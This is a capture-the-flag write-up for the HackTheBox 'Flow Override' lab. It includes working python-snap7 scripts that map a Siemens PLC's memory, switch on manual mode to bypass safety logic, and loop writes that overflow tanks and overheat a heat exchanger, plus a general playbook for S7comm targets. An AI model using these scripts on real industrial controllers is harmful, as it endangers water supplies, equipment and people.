hardwarefreemedium

Flow Override

hackthebox

Task: Exploit S7comm protocol to disrupt at least 3 pieces of equipment in a water treatment plant. Solution: Used python-snap7 to fuzz PLC Data Block memory mapping, enabled manual_mode to bypass safety logic, then caused overflow/overheat conditions via persistent writes.

$ ls tags/ techniques/
ics_manipulations7comm_exploitationplc_memory_mappingdata_block_fuzzingpersistent_writes

Flow Override — HackTheBox

Description

A trusted friend gives you full access to his water treatment plant for a security test. The Siemens PLCs use S7comm — Can you break in and disrupt at least three pieces of equipment?

Two endpoints provided:

  • 154.57.164.65:30088 — S7comm PLC (Siemens CPU 315-2 PN/DP)
  • 154.57.164.65:32570 — Web HMI (Flask/Werkzeug)

Analysis

Web HMI Reconnaissance (Port 32570)

The web interface served an SVG diagram of a water treatment plant with a /status JSON API endpoint. JavaScript on the page polled /status every second and displayed real-time plant state. Crucially, the code contained:

if (ret.flag) { alert(ret.flag); }

This revealed that the flag would be returned via the status API when win conditions were met.

Plant Components

The water treatment plant has 5 pieces of equipment, each with a health status:

#EquipmentKey Parameters
1In-Water Tankinput/output valves, fill percentage
2Chlorine Tankinput/output valves, fill percentage
3Heat Exchangerhot/cold side valves, temperature readings
4Mixer Tankmixing speed, duration, volume, fill percentage
5Storage Tankinput/output valves, fill percentage

The /status endpoint returned JSON with all parameters including manual_mode, valve states, fill percentages, temperatures, and equipment status strings (e.g., "healthy", "over flow", "over heat"). The flag field was empty until win conditions were met.

S7comm PLC Connection (Port 30088)

Connected to the Siemens PLC using python-snap7:

import snap7 client = snap7.client.Client() client.connect('154.57.164.65', 0, 1, 30088) # rack=0, slot=1

PLC Memory Mapping via Byte-by-Byte Fuzzing

Read Data Block 1 (DB1) — 200 bytes. Performed systematic byte-by-byte enumeration: wrote value 1 to each byte individually, checked the /status API for changes, then reset the byte to 0. This revealed the full control mapping:

DB1 ByteControl ParameterType
0water_tank_in_valveBoolean
1water_tank_out_valveBoolean
4manual_modeBoolean
10chlorine_tank_in_valveBoolean
11chlorine_tank_out_valveBoolean
33mixer_mixing_speedInteger (capped at 100)
39mixer_mixing_durationInteger
49heatexch_hot_side_tempInteger
62heatexch_hot_side_valveBoolean
63heatexch_cold_side_valveBoolean

Solution

Attack Strategy

The goal was to disrupt at least 3 pieces of equipment simultaneously. The attack used persistent writes (similar to the Steel Mountain HTB challenge pattern) to overcome any automatic safety resets.

Attack Steps

  1. Enable Manual Mode: Set byte 4 = 1 to prevent the PLC's automatic safety logic from correcting values.

  2. Water Tank Overflow: Set byte 0 = 1 (open input valve), byte 1 = 0 (close output valve). Water accumulated with no drainage, filling to 100% → status changed to "over flow".

  3. Heat Exchanger Overheat: Set byte 49 = 255 (hot side temperature to maximum). The current temperature rose from ~60°C to 103.5°C → status changed to "over heat".

  4. Chlorine Tank Overflow: Set byte 10 = 1 (open input valve), byte 11 = 0 (close output valve). Chlorine accumulated to 100% → status changed to "over flow".

Solve Script

#!/usr/bin/env python3 """ Flow Override — S7comm PLC exploitation Disrupt 3+ equipment in a water treatment plant via Data Block manipulation """ import snap7 import json import urllib.request import time HOST = '154.57.164.65' S7_PORT = 30088 HMI_PORT = 32570 client = snap7.client.Client() client.connect(HOST, 0, 1, S7_PORT) write_data = bytearray(1) for i in range(30): # Manual mode ON — disable safety logic write_data[0] = 1 client.db_write(1, 4, write_data) # Water tank: open input, close output -> overflow write_data[0] = 1 client.db_write(1, 0, write_data) write_data[0] = 0 client.db_write(1, 1, write_data) # Heat exchanger: max temperature -> overheat write_data[0] = 255 client.db_write(1, 49, write_data) # Chlorine tank: open input, close output -> overflow write_data[0] = 1 client.db_write(1, 10, write_data) write_data[0] = 0 client.db_write(1, 11, write_data) time.sleep(2) with urllib.request.urlopen(f'http://{HOST}:{HMI_PORT}/status') as resp: status = json.loads(resp.read()) print(f"[{i}] Water: {status.get('water_tank_fill', '?')}% / {status.get('water_tank_status', '?')}") print(f" Chlorine: {status.get('chlorine_tank_fill', '?')}% / {status.get('chlorine_tank_status', '?')}") print(f" HeatExch: {status.get('heatexch_hot_side_temp', '?')}°C / {status.get('heatexch_status', '?')}") if status.get('flag'): print(f"\nFLAG: {status['flag']}") break client.disconnect()

Enumeration Script (for memory mapping)

#!/usr/bin/env python3 """ Byte-by-byte DB1 enumeration to reverse-engineer PLC memory layout """ import snap7 import json import urllib.request import time client = snap7.client.Client() client.connect('154.57.164.65', 0, 1, 30088) def get_status(): with urllib.request.urlopen('http://154.57.164.65:32570/status') as resp: return json.loads(resp.read()) baseline = get_status() for byte_offset in range(200): # Write 1 to this byte data = bytearray(1) data[0] = 1 client.db_write(1, byte_offset, data) time.sleep(0.5) current = get_status() # Compare with baseline changes = {k: (baseline[k], current[k]) for k in baseline if baseline[k] != current[k] and k != 'flag'} if changes: print(f"Byte {byte_offset}: {changes}") # Reset byte data[0] = 0 client.db_write(1, byte_offset, data) time.sleep(0.3) client.disconnect()

Result

On the very first check after writing all attack values, 3 equipment were disrupted simultaneously:

  • Water Tank: 100% / "over flow"
  • Chlorine Tank: 100% / "over flow"
  • Heat Exchanger: 103.5°C / "over heat"

Key Indicators

Use this technique when:

  • S7comm protocol — Siemens PLC communication on a non-standard or standard port
  • Siemens CPU model mentioned (e.g., CPU 315-2 PN/DP, S7-300/400/1200/1500)
  • Data Block (DB) references — PLC memory organized in numbered data blocks
  • Web HMI alongside an industrial protocol port — dual-endpoint architecture
  • Water treatment / industrial plant simulation with equipment health statuses
  • manual_mode parameter — indicates safety logic bypass is possible
  • python-snap7 library is applicable for S7comm tasks
  • Equipment status strings like "healthy", "over flow", "over heat" suggest threshold-based win conditions

Key Techniques

  1. S7comm Protocol Exploitation: Using python-snap7 to connect to Siemens PLCs and read/write Data Blocks without authentication
  2. PLC Data Block Fuzzing: Systematic byte-by-byte enumeration — write a test value, observe HMI changes, reset — to reverse-engineer memory layout without access to ladder logic
  3. Safety Logic Bypass: Enabling manual_mode to prevent automatic safety corrections
  4. Persistent ICS Writes: Looping writes to maintain attack state against safety system resets
  5. Multi-Equipment Simultaneous Disruption: Coordinating overflow/overheat attacks across multiple subsystems in a single write loop

Lessons Learned

  • S7comm has no authentication by default — any client can read/write PLC data blocks
  • ICS/SCADA safety logic often tries to reset dangerous values, requiring persistent attack writes in a loop
  • HMI web interfaces leak control structure — the /status API exposed all parameters, making it trivial to verify attack effects
  • Byte-by-byte enumeration is an effective way to reverse-engineer PLC memory layouts without access to the PLC program/ladder logic
  • Manual mode is a common ICS feature that, when enabled, disables automatic safety corrections — always check for it first

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups